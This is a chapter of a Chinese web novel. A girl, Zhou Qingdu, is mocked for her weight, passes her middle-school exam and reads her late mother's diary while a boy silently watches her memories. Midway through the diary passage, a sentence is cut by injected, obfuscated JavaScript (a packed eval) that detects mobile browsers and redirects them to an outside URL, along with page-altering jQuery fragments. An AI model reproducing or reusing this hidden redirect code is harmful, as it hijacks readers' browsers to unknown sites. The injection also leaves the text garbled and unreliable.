14. 第二本日记

作品:《她们的日记

    拿到新课本的周倾渡发现初中语文书上的文章比小学的还有意思,像很多同学那样每拿到新书她都开始翻找里面可读的文章。没有那些预习任务,单纯地读课文很快乐。


    所有课本和发下来的卷子渐渐不能满足她想阅读的心,一次偶然她跑到学校对面常买资料的书店,临走时看到了一本杂志。那里面有现下非常有名的作家,也有过去有名的作家,还有一些学生的投稿,不论故事读不读得懂,周倾渡都被他们的叙述吸引了。于是省下的早餐钱又有了新的去处。


    第一次来月经时,突然异样的感觉让周倾渡飞快跑回家,在电梯里她并拢了双腿以为是自己突然失禁尿裤子了,幸好已经进了小区。


    看到血的那一刻她在卫生间大声喊着正在做晚饭的奶奶,火急火燎的奶奶到卫生间看到惊恐的孙女,扶腰笑着告诉她这是月经。


    “每个女人都会经历的,这很正常。要少接触凉水,来月经的时候喝热水,不要剧烈运动,人和人的体质不一样,感受也不一样……”


    好奇怪,一直站在卫生间外的于牧维觉得自己好下贱,即使他什么都没有看到也觉得脸红。


    哦,原来他还能感受到脸在升温,情绪在变化吗?


    周倾渡买到了新杂志,于牧维想要追上那个从书店兴奋跑出的身影,他穿过汽车,穿过行人,可是为什么她跑的那样快?


    原来是一个人在抹眼泪,她手里的书呢?


    哦,这不是那天的周倾渡。


    那些声音像是从天上传来,一声比一声刺耳。


    “你长得像南瓜还像东瓜!你看看别的女孩……”


    “周倾渡,你怎么像坦克一样?刚刚走过去我都感觉地面在颤抖。”


    “你听见了吗?刚刚生物老师说胖人要少吃糖,你快记一下吧,这就是给你说的。”


    “你能不能减减肥!从我旁边过去都撞到我了!”


    “你看你脸上长的痘痘,真恶心。”


    “你觉得他可能会喜欢你吗?你长得这么丑,腿还这么粗!”


    他?是谁!


    陈敬宪?


    不,不是。


    如果是陈敬宪,那他早已在这记忆里看到他的身影了。


    迅速反应过来后,于牧维才搞清楚这些话全是周倾渡在学校听到的,是别人对她说的,她现在在回想。


    他们嘲笑她的宽度,却被她的高度俯视。于牧维看到的是刚步入青春期的周倾渡正是需要能量的时候,她的身高在一年内长高了7厘米。于牧维想安慰她此时的肥胖只是暂时的,想告诉她你的价值从来不是由别人定的,你考班级第二的成绩就是最好的证明!


    可他根本无法与她对话。


    同时他在心里很清楚,如果是这个年龄的自己,难保不会加入那些人的行列,说出这样下流的话。


    当晚的周倾渡没有吃完饭,把自己关在房子里写作业,任凭外面的爷爷奶奶敲门叫她吃饭。每说一句“我不吃”那种自卑的情绪混着想起那些话的难过都让她想要流泪。


    面对同学的这些话,周倾渡可以睡一觉就忘记,可是当她穿不下从前的裤子耽误了出门的时间而被爷爷说:“你看你那腿有多粗!你一天能干成什么!”时,她彻底失眠了。


    于牧维从未见过如此脆弱的周倾渡,躲在被子里哭。


    她想妈妈了,妈妈不会这样说她的,爸爸也从来没有说过,他总夸她又长高了,考得不错,为什么爸爸那么忙不能经常回家呢……


    这块缺失的感情突然被无限放大了,她想起那些文章里描写的母亲,温柔的、强大的、陪伴的、给了孩子很多爱的,她却从未经历过。


    连同在被子里哭得颤抖也不想喊出妈妈,妈妈会觉得她这样哭丢人吗?


    嘶哑的哭声穿过凌晨的时针,于牧维站在黑暗房间的床边,窗户照进的月光触碰不到周倾渡的边缘。他伸过去的手只会穿透这一切,他无法给予她拥抱安慰。


    这全都是周倾渡曾在宝藏岛回想的记忆,他只能站在一边看着被子里的一团发抖,在啜泣中自我治愈,带着眼泪慢慢平息。


    春天来了,风与万物一切都变得温柔。


    周倾渡站在书架前,手里拿着绿色封面的试卷,她仰望着一本厚厚的书,几秒后取了下来。


    此刻是于牧维看过的所有记忆里最清楚的一幕,那本厚书的封面写着《三体·地球往事》


    “为什么叫三体呢?”他听见她低声嘀咕,然后像书店里的很多人那样盘腿坐在角落阅读。


    再抬头时过去的两个小时于牧维连一秒都没感受到,想起今天出来是买卷子的,周倾渡急忙起身将书放回原位。走出几步她又回头望向那个地方,于牧维听见她在心里说:中考考得好了就来买这套书。


    中考前家里的平板也不能碰了,周倾渡翻到了一个很久的触屏手机,大概是爸爸以前用过的。她下载了一段演唱会视频,是喜欢的女歌手泰勒斯威夫特的1989巡演,Enchanted与Wildest Dreams的合唱。这个歌手是以前英语老师介绍过的,周倾渡很喜欢那个温柔的英语老师,泰勒斯威夫特的嗓音吸引了她,于是每次在电脑上查资料她总会找一点演唱会的视频看,现在学得很累时就躲在被子里反复看手机里的片段。


    这段记忆也无比清晰,被二十九岁的周倾渡常常回忆。


    中考时爸爸提前定了酒店,同班的同学也一样,周倾渡看到几个关系还不错的女生,大家互相加油祝超常发挥。


    考完那天下午周林海打包好酒店的东西来接女儿,他问女儿:“心情怎么样?”


    “还不错。”周倾渡答得比较顺利。


    “那就好!”周林海呵呵笑着。


    周倾渡趁爸爸心情也不错提出了自己的请求,于是周林海一脚油门踩到市图书馆,给女儿全款买下珍藏版的《三体》系列。


    两人在外面下完馆子才回家,车窗全开,夏夜的风肆意钻进车厢,周倾渡眯眼靠在座位上轻声说着,自己很丑很胖。


    周林海突然不知道如何安慰,“我只知道我的女儿很好。你这个年龄身体正是不规则变化的时候,别人对你的评价给你带来不了任何东西。”红灯前他摸摸女儿的头,“难道你这两天答卷子是他们给你写的?”


    “我知道这些道理……但是我也还是会难过……”周倾渡拍拍爸爸的手叹息。


    “让你难过的就证明是错的,丫头啊你一定要一直站在你这边,要永远支持你自己,不要和这些情绪还有那些坏人一起虐待自己。”


    歇歇停停的暑假阅读中,周倾渡开始注意饮食,和奶奶一起饭后散步,看着体重秤上越来越小的数字,她想要变漂亮。


    爷爷几乎每天都在催她估分,她说自己可以上高中,但爷爷继续不依不饶,“好高中和一般高中能一样吗?”


    周倾渡不想理,她关上门,门外是奶奶拉住爷爷让他不要再逼孙女的声音。


    终于到成绩出来那天,全A的成绩,是周倾渡应得的。六百多的分数,与模考相差不大。爷爷乐呵呵拿出手里一堆高中宣传册,周倾渡最终选择了汉莱高中。


    因为他们的校服很漂亮,就是简单的黑白相间。同时,汉莱高中隔四年就会有学生考上清华大学和北京大学,等到周倾渡高考那年刚好就是下一个四年,她没理由不幻想那个状元可能会是自己。


    不过太离谱了她知道自己不可能那么优秀,但是!想一下又怎么了?!


    整个房间确实被翻了个底朝天,周倾渡在书柜的缝隙发现了妈妈的日记本。小时候不认字的记忆突然被唤醒,她一直以为这本日记在爸爸那边。


    窗外太阳毫不吝啬地向大地展现自己的温度,正午的街上没有几个行人,头上是低声运行的空调,脚下是打算拿去卖的书本。


    吹去封面的灰尘,周倾渡坐在地上翻开了它。


    第一页林涛写她读博时候的痛苦:竟然比我研究生还惨啊!我真的不想读了!给我发毕业证吧!!


    实验真的做不出来啊!氢氦锂铍硼,碳氮氧氟氖,我先背一遍元素周期表,门捷列夫你帮帮我吧!!!


    读了三年了食堂的红烧狮子头还是那么难吃!我不想溺爱了。


    北京下雪了,我也快要毕业了。


    天啊!快毕业了我恋爱了!我的校园恋爱就只能有半年多啊!


    在林涛随导师接的与企业合作中,她认识了周林海。


    我经常带他来学校食堂吃饭,在学校里散步,他说他没读过好大学,但他在工作上的能力很突出啊!我觉


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15094552|163692||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    得比他那个上司聪明多了。


    我很快乐,我变得越来越好了,这是我想向所有人炫耀的恋爱。


    最上面的批注是潦草的字迹,周倾渡知道那是妈妈病重时写的:倾渡,我并不想告诉你:以后你会遇到一个人对你很好你们会很相爱这样的话,我只想让你知道爱是一种强大的力量,只是爱情的话太狭隘了。


    终于毕业了!想跳进学校的湖里游泳!想和林海私奔!


    但其实周倾渡知道,爷爷奶奶是不反对他们的。


    林海的上司对他不好,林海很聪明很有想法,上司像个榆木疙瘩!


    林涛画了个生气的表情。


    林海说他想和朋友单干了我很支持。我可以做幕后指导啦啦啦啦!


    我要结婚了。以前我根本不敢想我也会有这一天,祝我新婚快乐,我会永远快乐。


    妈妈穿了漂亮的裙子,里面有一张照片。


    二十九岁这年的春天,林涛穿着白色的婚纱,手里拿着捧花,幸福地笑着,看向镜头。


    这大概是爸爸拍的。


    怕眼泪打湿日记本,周倾渡连忙将它放到一边,泪如雨下。她终于拥有了一张妈妈的照片,不再是合照里的某一位。


    她终于看到了妈妈幸福的样子。


    我想做母亲,有一个女儿,我想弥补我未有过的遗憾,去好好爱孩子。


    于是,倾渡,你出生了。


    字迹旁边有墨蓝色的指纹,林涛标注这是倾渡的右手大拇指。下面更大的指纹是她的。


    倾渡,我的宝贝女儿。


    我希望你天天开心,健康快乐,慢慢长大,好好去经历这个世界将给予你的一切吧。


    今天工作的时候,遇到涨奶,幸好有准备带了新衣服。生了孩子后确实有很多不便……


    但是倾渡,如果以后你看到这些,妈妈想让你知道,我并不讨厌你给我带来的这些身体变化,当我决定把你带到这个世界上时我就想好了。


    中间厚厚的一部分像是女儿的专属成长记录册。


    倾渡会爬了,会叫爸爸了,为什么不先叫我?


    倾渡学说话时嘴里的泡泡真可爱。


    倾渡会叫妈妈了!


    倾渡会叫爷爷奶奶了!


    倾渡会走了!


    太好了倾渡喜欢吃我做的肉沫面!


    倾渡要上幼儿园了。


    倾渡,妈妈真的很爱你,妈妈要看你做快乐强大的女孩……


    后来戛然而止,周倾渡眼里悬着的眼泪在向后翻到无力潦草的字迹时终于掉了下来。


    我想好好活着。


    倾渡,妈妈爱你。


    我还能出医院吗


    倾渡,我不知道我还能不能活到见证你成长的时候。


    如果以后你的身体悄悄发生了变化,那是正常的,妈妈也想看到你含苞待放的样子。


    倾渡,第一次来月经不要怕,这也是正常的,要去买合适自己的卫生巾,你拥有了孕育生命的能力,但是妈妈不允许你随便决定!要长大后再考虑有孩子。来月经会疼会难受,就想吃甜品,会心情差,这都是正常的,这也证明你每次挺过来是个多么强大的女人。


    倾渡,和人交往不到一起不要害怕,每个人都有自己的想法,你会拥有志同道合的朋友,不必强融。


    倾渡,不要听别人对你身材长相性格等等其他任何的指点,妈妈也被人嘲笑过,但那于我无用。这些除了痛苦不会带给你任何正向价值,最重要的是这些都不是真实的你而让你看清他们是怎样的人,除了你任何人都不能规定你是什么你是谁。


    倾渡,妈妈爱你。


    我哪里做的不对呢?为什么要收走我的生命。我还想陪女儿。


    倾渡,妈妈爱你。


    倾渡。


    这是最后一次记录了。


    这世上有那么多的事情可以被原谅,可以被修复,向南飞去的鸟春天还会回来,败掉的花下个季节还会盛开,冰冻的河水春天还会继续流淌,可她记忆里的每一个春天都没有妈妈在。


    以往那些见到同学向妈妈撒娇,朋友和妈妈走在一起的背影全都涌上脑海,她是多么可怜的人啊!周倾渡抱着日记本痛苦,哭到十指发麻,为什么,为什么要让她失去这么多爱。